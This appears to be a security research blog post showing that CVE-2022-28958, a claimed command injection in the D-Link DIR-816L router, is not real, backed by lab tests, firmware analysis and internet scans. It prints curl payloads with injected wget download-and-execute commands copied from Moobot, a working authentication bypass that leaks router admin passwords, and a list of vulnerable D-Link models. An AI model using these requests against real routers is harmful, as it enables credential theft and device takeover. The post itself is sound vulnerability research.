Introduction
On September 8, 2022, CVE-2022-28958 was added to CISA's Known Exploited Vulnerability Catalog. A report published a couple days prior said the vulnerability was being exploited by Moobot, a Mirai-like botnet. However, this vulnerability has never been exploited in the wild, because CVE-2022-28958 isn’t a real vulnerability.
On April 6, 2022, GitHub user shijn0925 published four vulnerabilities affecting the end-of-life SOHO router D-Link DIR-816L. The vulnerability details were published in markdown files named 1.md through 4.md. MITRE assigned the following CVE identifiers for the researcher’s findings:
- 1.md - CVE-2022-28955
- 2.md - None assigned
- 3.md - CVE-2022-28958
- 4.md - CVE-2022-28956
This blog is predominantly about CVE-2022-28958 not being a real vulnerability, but it’s interesting to note that the other two findings likely shouldn’t have received CVE either. CVE-2022-28955 (missing authentication) appears to be as-designed functionality with low or no security impact. CVE-2022-28956 (authentication bypass) is a real security issue, but a duplicate of four other CVE: CVE-2020-15894, CVE-2020-9376, CVE-2019-17506, and CVE-2018-7034. Amazingly, we found those five CVE don’t cover all affected devices. The authentication bypass is useful to us later in the blog, so we ended up creating a list of affected devices (see addendum at the end of the blog).
All of this is worth discussing, not just because CVE-2022-28958 found its way into the KEV Catalog, but because there are a good number of these devices on the internet. Shodan has indexed around 6,000 of them:
Moobot and CVE-2022-28958
Let's look at shijin0925's original disclosure. The following vulnerability description is provided (note that we didn't correct any language):
DIR816L_FW206b01 shareport.php has an issue that attackers can use it to execute command via "value" parameter.
The disclosure also includes this code snippet from shareport.php
:
if ($AUTHORIZED_GROUP < 0)
{
$result = "FAIL";
$reason = i18n("Permission deny. The user is unauthorized.");
}
else
{
if ($_POST["action"] == "sethostname")
{
$value = $_POST["value"];
if ($value != "")
{
set("/device/gw_name", $value);
event("SHAREPORT.SETGWNAME");
$RESULT = "OK";
$REASON = "";
}
}
else fail(i18n("Unknown ACTION!"));
}
And the disclosure specifically calls out the use of set()
:
As you can see there is not enough filter with paramter "value",it just passed to function set which execute command directly.
According to this disclosure, the vulnerability is the result of an attacker-controlled $value
being passed into set()
in shareport.php
. Allegedly, set()
will "execute command directly." The disclosure also contains a curl
-based proof of concept:
curl http://192.168.0.1:80/getcfg.php -d "action=sethostname&value=%26%20ls%20-la%20%26%0aAUTHORIZED_GROUP=1"
The disclosure doesn’t contain the output of the curl
request, and it doesn't provide any other evidence the router executed the provided value
parameter (& ls -la &
). The reader is just expected to accept the command works. But, the proof of concept has a glaring error. It doesn’t send the “malicious” request to shareport.php
where the alleged vulnerable code resides. The request is sent to getcfg.php
an entirely different and unrelated endpoint. And, perhaps most importantly, getcfg.php
doesn't have logic for handling the provided action
or value
parameters, so this proof of concept would have no effect on the system. But don’t take our word for it. Here is getcfg.php
:
if ($_POST["CACHE"] == "true")
{
echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
}
else
{
if($AUTHORIZED_GROUP < 0)
{
/* not a power user, return error message */
echo "\t<result>FAILED</result>\n";
echo "\t<message>Not authorized</message>\n";
}
else
{
/* cut_count() will return 0 when no or only one token. */
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)
{
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
if ($GETCFG_SVC!="")
{
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1")
{
AES_Encrypt_DBnode($GETCFG_SVC, "Encrypt");
dophp("load", $file);
AES_Encrypt_DBnode($GETCFG_SVC, "Decrypt");
}
}
$SERVICE_INDEX++;
}
}
}
After reading the above code, it’s obvious the researcher's proof of concept is useless. It doesn’t touch the endpoint where the vulnerable code allegedly resides, and the endpoint it does reach doesn’t do anything with the provided parameters. It’s amusing that, apparently, the Moobot developers copied the researcher’s mistake. Pictured below, from Unit 42's blog, is Moobot's implementation of CVE-2022-28958 as seen via Wireshark:
Above, Moobot sends an HTTP POST request to getcfg.php
using both the action
and value
parameters just as the researcher’s incorrect proof of concept did. As we've seen, getcfg.php
doesn't handle action
or value
. Moobot's exploit doesn’t work.
If the screenshot can be trusted, the Moobot developers also encoded the payload incorrectly. By using value=&
instead of value=%26
, they've messed up the (assumed) command injection and simply set value
to an empty string. Also, the authentication bypass at the end (AUTHORIZED_GROUP=1
aka CVE-2022-28956, CVE-2020-15894, CVE-2020-9376, CVE-2019-17506, and CVE-2018-7034) has to start with %0a
to work, which isn't the case here.
Either way, the exploit can't work because it's hitting the wrong endpoint. Which is interesting, but that doesn't mean shareport.php
isn't exploitable. Let’s do some testing to prove that CVE-2022–28958 doesn’t exist!
Local Testing of a D-Link DIR-816L
The affected DIR-816L is end-of-life, but it was easy find one on Ebay. Fortuatunely, the affected firmware, 2.06.B01, is also available on D-Link’s legacy files archive:
So we had everything needed to test the device in a local lab setup. We started testing by throwing the researcher’s original proof of concept at the device.
albinolobster@mournland:~$ curl -d "action=sethostname&value=%26%20ls%20-la%20%26%0aAUTHORIZED_GROUP=1" http://192.168.0.1:80/getcfg.php
<?xml version="1.0" encoding="utf-8"?>
<postxml>
</postxml>
Underwhelming to say the least. No indication that & ls -l &
was executed. So we tried the Moobot payload.
albinolobster@mournland:~$ curl -d "action=sethostname&value=& wget http://192.168.0.164/test; chmod 777 test; ./test & AUTHORIZED_GROUP=1" http://192.168.0.1:80/getcfg.php
<?xml version="1.0" encoding="utf-8"?>
<postxml>
<result>FAILED</result>
<message>Not authorized</message>
</postxml>
We received a “Not authorized” response because the authorization bypass didn’t work, as we predicted earlier in the blog. Without a working bypass, the attacker needs to be authenticated to the device. This is a fairly important detail that NIST overlooked when assigning CVE-2022-28958 a CVSSv3 score of 9.8. CISA, presumably, also overlooked this when they added CVE-2022–28958 to the KEV Catalog but not CVE-2022–28956.
If we fix Moobot's exploit to use the bypass correctly, fix the (assumed) command injection, and simplify the payload then we get this:
albinolobster@mournland:~$ curl -d "action=sethostname&value=%26%20wget%20http://192.168.0.164/test%20%26%0aAUTHORIZED_GROUP=ok" http://192.168.0.1:80/getcfg.php
<?xml version="1.0" encoding="utf-8"?>
<postxml>
</postxml>
Now, in this case, we had nc
listening for a wget
callback on 192.168.0.164, and we do know that wget
is present on the DIR-816L. But, again, we get nothing from the device:
albinolobster@mournland:~$ sudo nc -lvnp 80
[sudo] password for albinolobster:
Listening on 0.0.0.0 80
But remember, we didn't expect any of that to work anyway. We already knew getcfg.php
is the wrong endpoint. We only tested the original researcher's proof of concept to be thorough. What we really want to know is if shareport.php
is exploitable as the original writeup and CVE description suggest. Let’s try the previous wget
payload, but this time pointed at shareport.php
:
albinolobster@mournland:~$ curl -d "action=sethostname&value=%26%20wget%20http://192.168.0.164/test%20%26%0aAUTHORIZED_GROUP=ok" http://192.168.0.1:80/shareport.php
<?xml version="1.0" encoding="utf-8"?>
<shareportreport>
<action>sethostname</action>
<result>OK</result>
<reason></reason>
</shareportreport>
A new response! But still no wget
request to our listening nc
on port 80. Maybe the researcher’s original & ls -la &
payload will yield a result?
albinolobster@mournland:~$ curl -d "action=sethostname&value=%26%20ls%20-l%20%26%0aAUTHORIZED_GROUP=ok" http://192.168.0.1:80/shareport.php
<?xml version="1.0" encoding="utf-8"?>
<shareportreport>
<action>sethostname</action>
<result>OK</result>
<reason></reason>
</shareportreport>
Again, no proof the exploit was successful. Perhaps exploitation is blind? If that's the case, why provide a proof of concept using & ls -la &
? Maybe the proof of concept messed up the shell metacharacters? A single ampersand is an odd choice. We fiddled with the metacharacters and tested all these exploits against firmware versions: 2.03b1, 2.06b1 (the reportedly vulnerable version), and 2.06b09 Beta. The "exploits" didn't work on any of these firmware. But why?
CVE-2022-28958: Not a Real Vulnerability
Let's return to the researcher's original claim. They state the following code in shareport.php
does not have "enough filter with parameter ‘value’, it just passed to function set which execute command directly."
set("/device/gw_name", $value);
The claim that set()
will "execute command directly" is what needs to be examined. It would seem the researcher thinks set()
will execute /device/gw_name
with $value
as some type of parameter. However, after looking at the firmware's code, we know /device/gw_name
isn't a binary and set()
doesn't execute commands.
Execution of PHP files like getcfg.php
or shareport.php
on the DIR-816L is a bit opaque. The files are served via the www
binary, but it passes execution of php
files to a binary called cgibin
. cgibin
passes execution to a binary called xmldb
, which has a custom PHP interpreter. Exactly how custom, we're not sure, but they've added a few builtins like set()
, setattr()
, event()
, and query()
. These extra builtins are for interacting with the xml database (hence the binary's name, xmldb
).
The xml database contains the router's configuration. When the user calls set("/device/gw_name", $value)
, they are inserting $value
into the /device/gw_name
entry in the xml database. If you root the device, you’ll find you can examine the database from the device's command line using the xmldbc
(xml db client) binary. In the following example, we list the contents of /device/gw_name
in the xml database of a DIR-816L we had just “exploited.”
# xmldbc -g /device/gw_name
& wget http://192.168.0.164/test &
# xmldbc -d /tmp/config.xml
# cat /tmp/config.xml | grep gw_name
<gw_name>& wget http://192.168.0.164/test & </gw_name>
Here you can see our malicious wget
was inserted into the database, just as we said. The shell metacharacters were even encoded properly when inserted into the xml. Not only is there no evidence of wget
being executed, but it isn't even part of set()
's intended functionality. set()
does not execute value
"directly", as stated in the disclosure.
Looking deeper with Ghidra, we didn't find any evidence of command execution when tracing the logic from the http server through xmldbc
and into the database. It's obviously difficult to prove a negative, especially with so many moving parts. But after testing the exploits, looking at the functionality, and examining where the payload lands, it’s difficult to say the original claims hold up.
However, this vulnerability is in the KEV Catalog so it’s worth looking even deeper. Let’s seek out artifacts left by CVE-2022-28958 “exploitation” on internet-facing devices.
Internet Scanning
As stated earlier, the researcher’s original proof of concept had %0aAUTHORIZED_GROUP=1
at the end of the payload. This authentication bypass satisfies the AUTHORIZED_GROUP
check in DIR-816L PHP files (including shareport.php
):
if ($AUTHORIZED_GROUP < 0)
{
$result = "FAIL";
$reason = i18n("Permission deny. The user is unauthorized.");
}
else
{
if ($_POST["action"] == "sethostname")
{
$value = $_POST["value"];
if ($value != "")
{
set("/device/gw_name", $value);
event("SHAREPORT.SETGWNAME");
$RESULT = "OK";
$REASON = "";
}
}
else fail(i18n("Unknown ACTION!"));
}
?>
The bypass is useful because it gives an attacker access to most of the router's PHP logic. As we’ve stated, the bypass has been assigned five CVE at this point, and it's typically associated with a credential leak (which also happens to work on the DIR-816L):
albinolobster@mournland:~/initial-access/feed/cve-2019-10891$ curl http://192.168.0.1:80/getcfg.php -d "SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1"
<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
<service>DEVICE.ACCOUNT</service>
<device>
<gw_name>wget http://192.168.0.164/test</gw_name>
<account>
<seqno>1</seqno>
<max>2</max>
<count>1</count>
<entry>
<uid>USR-</uid>
<name>Admin</name>
<usrid></usrid>
<password>labpass1</password>
<group>0</group>
<description></description>
</entry>
</account>
<group>
<seqno></seqno>
<max></max>
<count>0</count>
</group>
<session>
<captcha>0</captcha>
<dummy></dummy>
<timeout>180</timeout>
<maxsession>128</maxsession>
<maxauthorized>16</maxauthorized>
</session>
</device>
</module>
</postxml>
Credential leaks on routers are useful for attackers that manipulate router configurations or upload malicious firmware, but for our purposes, the authentication bypass can be used to grab detailed version information from the /DevInfo.txt
endpoint. Like this:
albinolobster@mournland:~/initial-access/feed/cve-2019-10891$ curl http://192.168.0.1/DevInfo.txt?vuln=check%0aAUTHORIZED_GROUP=1270
Firmware External Version: V2.06
Firmware Internal Version: f4jc
Model Name: DIR-816L
Hardware Version:
WLAN Domain: CA
Kernel: 2.6.30.9
Language: en
Graphcal Authentication: Disable
LAN MAC: f8:e9:03:c1:81:b4
WAN MAC: f8:e9:03:c1:81:b7
WLAN MAC: f8:e9:03:c1:81:b4
Using the bypass also allows us to read /mydlink/get_WanSetting.asp
which contains the “exploited” hostname. For example, below you can see the wget
command from our exploitation attempt of shareport.php
:
albinolobster@mournland:~/initial-access/feed/cve-2019-10891$ curl http://192.168.0.1/mydlink/get_WanSetting.asp -d "test=test%0aAUTHORIZED_GROUP=1"
<wansetting>
<config.wan_ip_mode>1</config.wan_ip_mode>
<config.wan_dhcp_gw_name>& wget http://192.168.0.164/test & </config.wan_dhcp_gw_name>
<mac_clone>f8:e9:03:c1:81:b7</mac_clone>
... truncated ...
In theory, if these devices were under attack using the shareport.php
vulnerability, then we’d be able to find artifacts of exploitation on internet-facing devices by querying /mydlink/get_WanSetting.asp
. We did just that. Using a list of 6000+ routers from Shodan, we found zero routers with evidence of shareport.php
exploitation attempts. Which means, to us, that it’s highly unlikely that anyone has attempted to use the vulnerability, as described in the CVE description, in the wild.
Consulting Greynoise
Finally, we consulted Greynoise. They can give us insight into whether shareport.php
exploitation is hitting any of their honeypots.
From the screenshot above, you can see that Greynoise isn’t seeing CVE-2022-28958 exploitation either. Greynoise does have an existing tag for the getcfg.php
authentication bypass. As mentioned earlier, this is typically associated with a credential leak, and it does have some activity over the last 30 days.
But, as previously mentioned, getcfg.php
is in no way related to CVE-2022-28958 other than the original researcher posting an erroneous proof of concept.
Summary
In summary, this blog established the following:
- The original researcher's proof of concept for CVE-2022-28958 never worked.
- Moobot copied the researcher's proof of concept and added additional errors. Their exploit never worked.
- CVE-2022-28958 isn't real. We tested firmware versions 2.03b1, 2.06b1 (the reportedly vulnerable version) and 2.06b9 and found no evidence the vulnerability exists. The original researcher provided no evidence either.
- Internet-facing D-Link DIR-816L did not contain artifacts that would indicate they were exploited by CVE-2022-28958.
- GreyNoise has not seen
shareport.php
HTTP requests hit their honeypots.
We conclude that CVE-2022-28958 is not a real vulnerability and at-scale exploitation has never occurred. The vulnerability should not be listed by MITRE, and it should not be in the CISA Known Exploited Vulnerabilities Catalog. We filed a dispute with MITRE and shared our findings with CISA in October 2022.
Addendum
VulnCheck has found the following D-Link models to be vulnerable to the %0aAUTHORIZED_GROUP
bypass (aka CVE-2022-28956, CVE-2020-15894, CVE-2020-9376, CVE-2019-17506, and CVE-2018-7034):
- DIR-300
- DIR-600
- DIR-605L
- DIR-610
- DIR-610N+
- DIR-615
- DIR-629
- DIR-645
- DIR-685
- DIR-803
- DIR-806
- DIR-815
- DIR-816L
- DIR-817LW
- DIR-818L
- DIR-818LW
- DIR-822
- DIR-845L
- DIR-850L
- DIR-860L
- DIR-865L
- DIR-868L
- DSL-2890AL
- GO-RT-AC750
- WBR-2200